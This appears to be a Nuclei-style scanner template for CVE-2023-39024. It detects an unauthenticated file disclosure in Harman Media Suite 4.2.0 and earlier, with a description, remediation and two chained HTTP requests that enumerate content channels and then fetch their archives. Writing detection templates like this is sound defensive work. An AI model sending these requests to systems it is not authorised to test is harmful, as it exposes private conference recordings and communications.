Harman Media Suite <= 4.2.0 - Local File Disclosure

id: CVE-2023-39024

info:
  name: Harman Media Suite <= 4.2.0 - Local File Disclosure
  author: s4e-io
  severity: high
  description: |
    Harman Media Suite (versions 4.2.0 and below) are vulnerable to possible Local File Disclosure. This allows an unauthenticated user to potentially download attachments and recordings stored within the Media Suite application if anonymous access to the User Portal is enabled.
  impact: |
    Unauthenticated attackers can download attachments and recordings stored within the Harman Media Suite application when anonymous access to the User Portal is enabled, potentially exposing confidential video conferences and internal communications.
  remediation: |
    Update Harman Media Suite to a version newer than 4.2.0 that requires authentication for content channel archives access or disable anonymous access to the User Portal.
  reference:
    - https://github.com/BenTheCyberOne/CVE-2023-39024-5-POC
    - https://sploitus.com/exploit?id=C20FE0B5-806A-5687-850C-75D195576B35
    - https://mediasuite.harman.com/channel-store
  metadata:
    verified: true
    max-request: 2
    vendor: harman
    product: media-suite
    fofa-query: "Harman Media Suite"
  tags: cve,cve2023,harman,media-suite,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /userportal/api/rest/contentChannels/?startIndex=0&pageSize=4&sort=TIME&showType=all HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"plcm-content-channel", "privacy", "coverImage")'
          - 'contains(content_type, "application/vnd.plcm.plcm-content-channel-list+json")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: channelId
        group: 1
        regex:
          - '"channelId":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /userportal/api/rest/contentChannels/{{channelId}}/archives/?startIndex=0&pageSize=15&sort=time&onlyIncludeApproved=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"callId", "displayName", "duration")'
          - 'contains(content_type, "application/vnd.plcm.plcm-csc+json")'
          - 'status_code == 200'
        condition: and
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